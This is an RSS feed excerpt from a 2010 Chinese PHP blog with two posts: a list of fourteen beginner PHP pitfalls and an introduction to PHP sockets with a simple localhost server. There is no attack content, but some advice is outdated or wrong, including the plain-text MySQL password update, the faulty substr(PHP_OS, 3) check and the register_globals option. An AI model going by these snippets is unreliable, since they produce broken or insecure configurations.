		<title>最令PHP初学者头痛的十四个问题</title>
		<link>http://www.5bay.cn/network-programming/eeeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eeeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:20:55 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[iis6.0]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[中文]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[初学者]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解决方法]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=501</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>【1】页面之间无法传递变量 get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　 【2】Win32下apache2 用get方法传递中文参数会出错： test.php?a=你好&#38;b=你也好　 传递参数是会导致一个内部错误　　 解决办法:”test.php?a=”.urlencode(你好).”&#38;b=”.urlencode(你也好)　 【3】win32下的session不能正常工作　 php.ini默认的session.save_path = /tmp　 这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　 【4】显示错误信息　 　 当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　 例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　 【5】Win32下mail()不能发送电子邮件　　 在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　 php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　 【6】初装的mysql修改密码 应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　 【7】header already sent　　 这个错误通常会在你使用HEADER的时候出现，他可能是几种原因： 1，你在使用HEADER前PRING或者ECHO了 2.你当前文件前面有空行 3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　 【8】更改php.ini后没有变化　　 重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-501"></span>【1】页面之间无法传递变量</p>
<p>get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　</p>
<p>【2】Win32下apache2 用get方法传递中文参数会出错：</p>
<p>test.php?a=你好&amp;b=你也好　<br />
传递参数是会导致一个内部错误　　<br />
解决办法:”test.php?a=”.urlencode(你好).”&amp;b=”.urlencode(你也好)　</p>
<p>【3】win32下的session不能正常工作　</p>
<p>php.ini默认的session.save_path = /tmp　<br />
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　</p>
<p>【4】显示错误信息　<br />
　<br />
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　</p>
<p>例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　</p>
<p>【5】Win32下mail()不能发送电子邮件　　</p>
<p>在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　</p>
<p>php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　</p>
<p>【6】初装的mysql修改密码</p>
<p>应该使用update <a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>.user set password=”yourpassword” where user=”root” 修改密码　　</p>
<p>【7】header already sent　　</p>
<p>这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：</p>
<p>1，你在使用HEADER前PRING或者ECHO了<br />
2.你当前文件前面有空行<br />
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　</p>
<p>【8】更改php.ini后没有变化　　</p>
<p>重新启动web <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>，比如IIS，Apache等等，然后才会应用最新的设置。<br />
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。</p>
<p>【9】php在2003上面安装　<br />
　<br />
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　</p>
<p>步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　<br />
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　<br />
步骤三： 扩展名&#8211;＞php,然后添加　　<br />
步骤四：找到php.exe的路径添加上去。　　<br />
步骤五： 确定就可以了！　　　<br />
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。</p>
<p>【10】sql语句不起作用</p>
<p>sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　<br />
　<br />
【11】include和require的区别　　</p>
<p>两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　</p>
<p>据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。</p>
<p>如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。<br />
function r($file_name) {　<br />
$filenum=@fopen($file_name,”r”);　<br />
@flock($filenum,LOCK_SH);　<br />
$file_data=@fread($filenum,filesize($file_name));　<br />
@fclose($filenum);　<br />
return $file_data;}<br />
function w($file_name,$data,$method=”w”){　<br />
$filenum=@fopen($file_name,$method);　<br />
flock($filenum,LOCK_EX);　<br />
$file_data=fwrite($filenum,$data);　<br />
fclose($filenum);　<br />
return $file_data;}</p>
<p>【12】isset()和empty()的区别　　</p>
<p>两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　</p>
<p>如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=”"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　</p>
<p>【13】mysql查询语句包含有关键字　</p>
<p>　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　</p>
<p>【14】通过HTTP协议一次上传多个文件的方法　　</p>
<p>有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　<br />
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜/form＞<br />
　　<br />
这样，在服务器端做以下测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;　　</p>
<p>2、在form中设置多个文件输入框，但名字不同，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile_a＞<br />
＜input type=file name=usefile_b＞<br />
＜input type=file name=usefile_c＞<br />
＜/form＞　</p>
<p>　在服务器端做同样测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/apache2" title="apache2" rel="tag">apache2</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/iis60" title="iis6.0" rel="tag">iis6.0</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E6%96%87" title="中文" rel="tag">中文</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%88%9D%E5%AD%A6%E8%80%85" title="初学者" rel="tag">初学者</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95" title="解决方法" rel="tag">解决方法</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP和Socket简介</title>
		<link>http://www.5bay.cn/network-programming/phpeecketee.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeecketee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:19:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[实例]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[注释]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[英文]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=499</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeecketee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。 当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。 ◆　Socket 基础 PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。 产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。 定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。 表一：协议 名字/常量 描述 AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址 AF_INET6 与上面类似，不过是来用在IPv6的地址 AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用 表二：Socket类型 名字/常量 描述 SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。 SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。 SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。 SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议） SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序 表三：公共协议 名字/常量 描述 ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息 UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议 TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。 现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。 Resourece socket_create(int protocol, int socketType, int commonProtocol); 现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。 &#60;?php $commonProtocol = getprotobyname(“tcp”); $socket [...]]]></description>
			<content:encoded><![CDATA[<p>Sockets在PHP中是没有充分利用的功能。今天你将看到产生一个能使用客户端连接的服务器，并在客户端使用socket进行连接，服务器端将详细的处理信息发送给客户端。</p>
<p>当你看到完整的socket过程，那么你将会在以后的程序开发中使用它。这个服务器是一个能让你连接的HTTP服务器，客户端是一个Web浏览器，这是一个单一的 客户端/服务器 的关系。<span id="more-499"></span></p>
<p>◆　Socket 基础</p>
<p>PHP使用Berkley的socket库来创建它的连接。你可以知道socket只不过是一个数据结构。你使用这个socket数据结构去开始一个客户端和服务器之间的会话。这个服务器是一直在监听准备产生一个新的会话。当一个客户端连接服务器，它就打开服务器正在进行监听的一个端口进行会话。这时，服务器端接受客户端的连接请求，那么就进行一次循环。现在这个客户端就能够发送信息到服务器，服务器也能发送信息给客户端。</p>
<p>产生一个Socket，你需要三个变量：一个协议、一个socket类型和一个公共协议类型。产生一个socket有三种协议供选择，继续看下面的内容来获取详细的协议内容。</p>
<p>定义一个公共的协议类型是进行连接一个必不可少的元素。下面的表我们看看有那些公共的协议类型。</p>
<p>表一：协议</p>
<p>名字/常量 描述<br />
AF_INET 这是大多数用来产生socket的协议，使用TCP或UDP来传输，用在IPv4的地址<br />
AF_INET6 与上面类似，不过是来用在IPv6的地址<br />
AF_UNIX 本地协议，使用在Unix和Linux系统上，它很少使用，一般都是当客户端和服务器在同一台及其上的时候使用</p>
<p>表二：Socket类型</p>
<p>名字/常量 描述<br />
SOCK_STREAM 这个协议是按照顺序的、可靠的、数据完整的基于字节流的连接。这是一个使用最多的socket类型，这个socket是使用TCP来进行传输。<br />
SOCK_DGRAM 这个协议是无连接的、固定长度的传输调用。该协议是不可靠的，使用UDP来进行它的连接。<br />
SOCK_SEQPACKET 这个协议是双线路的、可靠的连接，发送固定长度的数据包进行传输。必须把这个包完整的接受才能进行读取。<br />
SOCK_RAW 这个socket类型提供单一的网络访问，这个socket类型使用ICMP公共协议。（ping、traceroute使用该协议）<br />
SOCK_RDM 这个类型是很少使用的，在大部分的操作系统上没有实现，它是提供给数据链路层使用，不保证数据包的顺序</p>
<p>表三：公共协议</p>
<p>名字/常量 描述<br />
ICMP 互联网控制消息协议，主要使用在网关和主机上，用来检查网络状况和报告错误信息<br />
UDP 用户数据报文协议，它是一个无连接，不可靠的传输协议<br />
TCP 传输控制协议，这是一个使用最多的可靠的公共协议，它能保证数据包能够到达接受者那儿，如果在传输过程中发生错误，那么它将重新发送出错数据包。</p>
<p>现在你知道了产生一个socket的三个元素，那么我们就在php中使用socket_create()函数来产生一个socket。这个 socket_create()函数需要三个参数：一个协议、一个socket类型、一个公共协议。socket_create()函数运行成功返回一个包含socket的资源类型，如果没有成功则返回false。<br />
Resourece socket_create(int protocol, int socketType, int commonProtocol);</p>
<p>现在你产生一个socket，然后呢？php提供了几个操纵socket的函数。你能够绑定socket到一个IP，监听一个socket的通信，接受一个socket；现在我们来看一个例子，了解函数是如何产生、接受和监听一个socket。</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, ‘localhost’, 1337);<br />
socket_listen($socket);<br />
// More socket functionality to come<br />
?&gt;</p>
<p>上面这个例子产生一个你自己的服务器端。例子第一行，<br />
$commonProtocol = getprotobyname(“tcp”);<br />
使用公共协议名字来获取一个协议类型。在这里使用的是TCP公共协议，如果你想使用UDP或者ICMP协议，那么你应该把getprotobyname() 函数的参数改为“udp”或“icmp”。还有一个可选的办法是不使用getprotobyname()函数而是指定SOL_TCP或SOL_UDP在 socket_create()函数中。</p>
<p>$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);</p>
<p>例子的第二行是产生一个socket并且返回一个socket资源的实例。在你有了一个socket资源的实例以后，你就必须把socket绑定到一个IP地址和某一个端口上。</p>
<p>socket_bind($socket, ‘localhost’, 1337);</p>
<p>在这里你绑定socket到本地计算机（127.0.0.1）和绑定socket到你的1337端口。然后你就需要监听所有进来的socket连接。</p>
<p>socket_listen($socket);</p>
<p>在第四行以后，你就需要了解所有的socket函数和他们的使用。</p>
<p>表四：Socket函数</p>
<p>函数名 描述<br />
socket_accept() 接受一个Socket连接<br />
socket_bind() 把socket绑定在一个IP地址和端口上<br />
socket_clear_error() 清除socket的错误或者最后的错误代码<br />
socket_close() 关闭一个socket资源<br />
socket_connect() 开始一个socket连接<br />
socket_create_listen() 在指定端口打开一个socket监听<br />
socket_create_pair() 产生一对没有区别的socket到一个数组里<br />
socket_create() 产生一个socket，相当于产生一个socket的数据结构<br />
socket_get_option() 获取socket选项<br />
socket_getpeername() 获取远程类似主机的ip地址<br />
socket_getsockname() 获取本地socket的ip地址<br />
socket_iovec_add() 添加一个新的向量到一个分散/聚合的数组<br />
socket_iovec_alloc() 这个函数创建一个能够发送接收读写的iovec数据结构<br />
socket_iovec_delete() 删除一个已经分配的iovec<br />
socket_iovec_fetch() 返回指定的iovec资源的数据<br />
socket_iovec_free() 释放一个iovec资源<br />
socket_iovec_set() 设置iovec的数据新值<br />
socket_last_error() 获取当前socket的最后错误代码<br />
socket_listen() 监听由指定socket的所有连接<br />
socket_read() 读取指定长度的数据<br />
socket_readv() 读取从分散/聚合数组过来的数据<br />
socket_recv() 从socket里结束数据到缓存<br />
socket_recvfrom() 接受数据从指定的socket，如果没有指定则默认当前socket<br />
socket_recvmsg() 从iovec里接受消息<br />
socket_select() 多路选择<br />
socket_send() 这个函数发送数据到已连接的socket<br />
socket_sendmsg() 发送消息到socket<br />
socket_sendto() 发送消息到指定地址的socket<br />
socket_set_block() 在socket里设置为块模式<br />
socket_set_nonblock() socket里设置为非块模式<br />
socket_set_option() 设置socket选项<br />
socket_shutdown() 这个函数允许你关闭读、写、或者指定的socket<br />
socket_strerror() 返回指定错误号的详细错误<br />
socket_write() 写数据到socket缓存<br />
socket_writev() 写数据到分散/聚合数组</p>
<p>(注: 函数介绍删减了部分原文内容，函数详细使用建议参考英文原文，或者参考PHP手册)</p>
<p>以上所有的函数都是PHP中关于socket的，使用这些函数，你必须把你的socket打开，如果你没有打开，请编辑你的php.ini文件，去掉下面这行前面的注释：<br />
extension=php_sockets.dll<br />
如果你无法去掉注释，那么请使用下面的代码来加载扩展库：</p>
<p>&lt;?php<br />
if(!extension_loaded(‘sockets’))<br />
{<br />
if(strtoupper(substr(PHP_OS, 3)) == “WIN”)<br />
{<br />
dl(‘php_sockets.dll’);<br />
}<br />
else<br />
{<br />
dl(‘sockets.so’);<br />
}<br />
}<br />
?&gt;</p>
<p>如果你不知道你的socket是否打开，那么你可以使用phpinfo()函数来确定socket是否打开。你通过查看phpinfo信息了解socket是否打开。</p>
<p>查看phpinfo()关于socket的信息</p>
<p>◆　产生一个服务器</p>
<p>现在我们把第一个例子进行完善。你需要监听一个指定的socket并且处理用户的连接。</p>
<p>&lt;?php<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Accept any incoming connections to the <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a><br />
$connection = socket_accept($socket);<br />
if($connection)<br />
{<br />
socket_write($connection, “You have connected to the socket&#8230;\n\r”);<br />
}<br />
?&gt;</p>
<p>你应该使用你的命令提示符来运行这个例子。理由是因为这里将产生一个服务器，而不是一个Web页面。如果你尝试使用Web浏览器来运行这个脚本，那么很有可能它会超过30秒的限时。你可以使用下面的代码来设置一个无限的运行时间，但是还是建议使用命令提示符来运行。</p>
<p>set_time_limit(0);</p>
<p>在你的命令提示符中对这个脚本进行简单测试：</p>
<p>Php.exe example01_server.php</p>
<p>如果你没有在系统的环境变量中设置php解释器的路径，那么你将需要给php.exe指定详细的路径。当你运行这个服务器端的时候，你能够通过远程登陆（telnet）的方式连接到端口1337来测试这个服务器。</p>
<p>上面的服务器端有三个问题：1. 它不能接受多个连接。2. 它只完成唯一的一个命令。</p>
<p>3. 你不能通过Web浏览器连接这个服务器。</p>
<p>这个第一个问题比较容易解决，你可以使用一个应用程序去每次都连接到服务器。但是后面的问题是你需要使用一个Web页面去连接这个服务器，这个比较困难。你可以让你的服务器接受连接，然后些数据到客户端（如果它一定要写的话），关闭连接并且等待下一个连接。</p>
<p>在上一个代码的基础上再改进，产生下面的代码来做你的新服务器端：</p>
<p>&lt;?php<br />
// Set up our socket<br />
$commonProtocol = getprotobyname(“tcp”);<br />
$socket = socket_create(AF_INET, SOCK_STREAM, $commonProtocol);<br />
socket_bind($socket, &#8216;localhost&#8217;, 1337);<br />
socket_listen($socket);<br />
// Initialize the buffer<br />
$buffer = “NO DATA”;<br />
while(true)<br />
{<br />
// Accept any connections coming in on this socket</p>
<p>$connection = socket_accept($socket);<br />
printf(“Socket connected\r\n”);<br />
// Check to see if there is anything in the buffer<br />
if($buffer != “”)<br />
{<br />
printf(“Something is in the buffer&#8230;sending data&#8230;\r\n”);<br />
socket_write($connection, $buffer . “\r\n”);<br />
printf(“Wrote to socket\r\n”);<br />
}<br />
else<br />
{<br />
printf(“No Data in the buffer\r\n”);<br />
}<br />
// Get the input<br />
while($data = socket_read($connection, 1024, PHP_NORMAL_READ))<br />
{<br />
$buffer = $data;<br />
socket_write($connection, “Information Received\r\n”);<br />
printf(“Buffer: ” . $buffer . “\r\n”);<br />
}<br />
socket_close($connection);<br />
printf(“Closed the socket\r\n\r\n”);<br />
}<br />
?&gt;</p>
